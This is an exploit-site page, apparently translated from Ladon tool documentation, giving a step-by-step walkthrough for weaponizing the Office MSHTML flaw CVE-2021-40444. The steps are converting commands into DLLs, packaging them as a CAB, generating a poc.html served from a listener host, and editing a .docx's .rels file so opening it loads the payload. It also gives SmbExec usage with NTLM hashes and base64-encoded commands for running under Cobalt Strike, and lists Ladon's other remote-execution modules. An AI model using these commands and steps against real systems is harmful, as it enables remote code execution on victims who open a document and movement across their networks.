## https://sploitus.com/exploit?id=FF761088-559C-5E71-A5CD-196D4E4571B8
# 〖EXP〗Ladon CVE-2021-40444 Office Vulnerability Reimplementation
## Vulnerability Overview
On September 8th, Beijing time, GreenMantra Technology’s CERT detected a security advisory from Microsoft regarding the Microsoft MSHTML remote code execution vulnerability. Attackers can create malicious ActiveX controls to be used by the hosted browser rendering engine in Microsoft Office documents. Once users open these malicious documents, they can execute arbitrary code with the user’s privileges on the target system. Microsoft stated in the advisory that it has detected this vulnerability being exploited in the wild, and relevant users are advised to take measures to protect themselves. MSHTML, also known as Trident, is the Internet Explorer browser engine developed by Microsoft, and it is also used in Office applications to render web-hosted content in Word, Excel, or PowerPoint documents. ActiveX controls are products under Microsoft’s COM framework and are widely used in Windows Office suites and the IE browser. Using ActiveX controls allows interaction with the MSHTML component.
## Affected Versions
Includes Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022
## Ladon 8.9 Update Features
Ladon 8.9 2021.9.14
[+] CVE-2021-40444 Microsoft MSHTML remote code execution vulnerability, Office document exploitation module
Affected versions: Includes Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022
[+] CmdDll converts commands to DLLs (0day vulnerability DLL execution payload, can directly execute PowerShell in CobaltStrike)
Overflow vulnerabilities such as MS17010, local privilege escalation CVE-2021-1675, non-overflow vulnerabilities like the latest Office vulnerability CVE-2021-40444, etc.)
Ladon 8.8 2021.911
[+] SmbExec NTLM-HASH executes without output
[u] GetInfo adds information about Vmware virtual machines
[u] OsScan adds recognition of Vigor Router routers
[u] Adds recognition of Xen\VBOX\Hybrid\Parallels virtual machines
[+] GetInfo adds cmdkey, RrpLog, driver installation, software list, recently accessed files, etc.
[+] GetInfo adds GUID, CPUID, hard drive ID, detection of auto-start backdoors (DLL persistence, registry, etc.)
[+] GetInfo2 adds WMI patch information
[+] Default information adds a highlight prompt when the remaining space in the C drive is less than 2GB
## Ladon8.9 Module Usage
#### CmdDLL Usage
```Bash
Usage:
Ladon CmdDll x86 calc
Ladon CmdDll x64 calc
Ladon CmdDll b64x86 YwBhAGwAYwA=
Ladon CmdDll b64x64 YwBhAGwAYwA=
```
Please generate DLLs using the corresponding CMD commands according to actual needs. For example, to create a calculator, use the command:
#### CVE-2021-40444 Usage
```Bash
Usage:
Ladon CVE-2021-40444 MakeCab poc.dll
Ladon CVE-2021-40444 MakeHtml http://192.168.1.8
```
PS: This module requires the use of Ladon40.exe
## CVE-2021-40444 Reimplementation
#### Testing Environment
Win10 x64
Office 2019
#### Installing Office 2019
Just find a trial version; there’s no need to activate it. If you download an IMG file, change it to ZIP and extract it for installation.
#### Generating CMDDLLs
#### Converting DLLs to CAB format for CVE-2021-40444 MakeCab
Since the target is a Win10 X64 system, we use a 64-bit DLL. Command: Ladon CVE-2021-40444 MakeCab sc64.dll
#### Generating Poc.html for CVE-2021-40444 MakeHtml
Generate an HTML file. The URL should point to the address where Ladon listens.
#### Starting the web listening
!
[](http://k8gege.org/k8img/Ladon/exe/CVE-2021-40444-htm.PNG)
#### Doc File Modification
Sample 9 was released in the small secret circle on September 10th. Change the file extension from .docx to .cab or .zip, allowing you to edit the .rels file. Point the file to the address poc.html that Ladon listens to, save it, and rename it to .docx.
#### Test Animation
When executing the .doc file on Win10, the entire request process can be observed through Ladon’s listening. The .docx file first accesses the html file, then the vulnerability triggers the loading of our encapsulated CAB file. The CPL is used to execute the INF file, which loads our DLL. The demonstration shows the DLL function as a calculator. 
### SmbExec Usage
Bash
Load SmbExec
Usage:
Ladon SmbExec host user pass cmd whoami
Ladon SmbExec host user pass b64cmd dwBoAG8AYQBtAGkA
### SmbExec Execution
When executing SmbExec under the Cobalt Strike shell, if parameters with spaces are required, CS escaping has issues, making it difficult to use normal CMD commands. Therefore, I added the b64cmd parameter for easier use under CS. This method was used in the BypassUac a few months ago; many people don’t know why this is necessary. Isn’t it simpler to use direct CMD commands? But when the CMD command contains many escaped characters, it becomes cumbersome to convert it to CMD format through CS. The b64cmd command can be generated using Base64Unicode encryption in LadonGUI versions 8.2 and later.
#### Execution Results
#### Other Lateral Movement Modules of Ladon
ID | Module Name | Function Description | Usage
-|-|-|-
1 | [WmiExec](http://k8gege.org/Ladon/WinShell.html) | Execute commands on port 135 | http://k8gege.org/Ladon/WinShell.html
2 | [PsExec](http://k8gege.org/Ladon/WinShell.html) | Execute commands on port 445 | http://k8gege.org/Ladon/WinShell.html
3 | [AtExec](http://k8gege.org/Ladon/WinShell.html) | Execute commands on port 445 | http://k8gege.org/Ladon/WinShell.html
4 | [SshExec](http://k8gege.org/Ladon/WinShell.html) | Execute commands on port 22 | http://k8gege.org/Ladon/WinShell.html
5 | [JspShell](http://k8gege.org/p/ladon_cs_shell.html) | Execute JSP statements | http://k8gege.org/p/ladon_cs_shell.html
6 | [WebShell](http://k8gege.org/Ladon/webshell.html) | Execute WebShell commands | http://k8gege.org/Ladon/webshell.html
7 | [WinrmExec](http://k8gege.org/Ladon/WinrmExec.html) | Execute commands on port 5895 | http://k8gege.org/Ladon/WinrmExec.html
8 | [SmbExec](http://k8gege.org/Ladon/SmbExec.html) | Execute HASH commands on port 445 | http://k8gege.org/Ladon/SmbExec.html
### Ladon Download
PowerLadon: https://github.com/k8gege/PowerLadon
Historical Versions: http://github.com/k8gege/Ladon/releases
Version 7.0: http://k8gege.org/Download
Version 8.9: K8 Small Secret Circle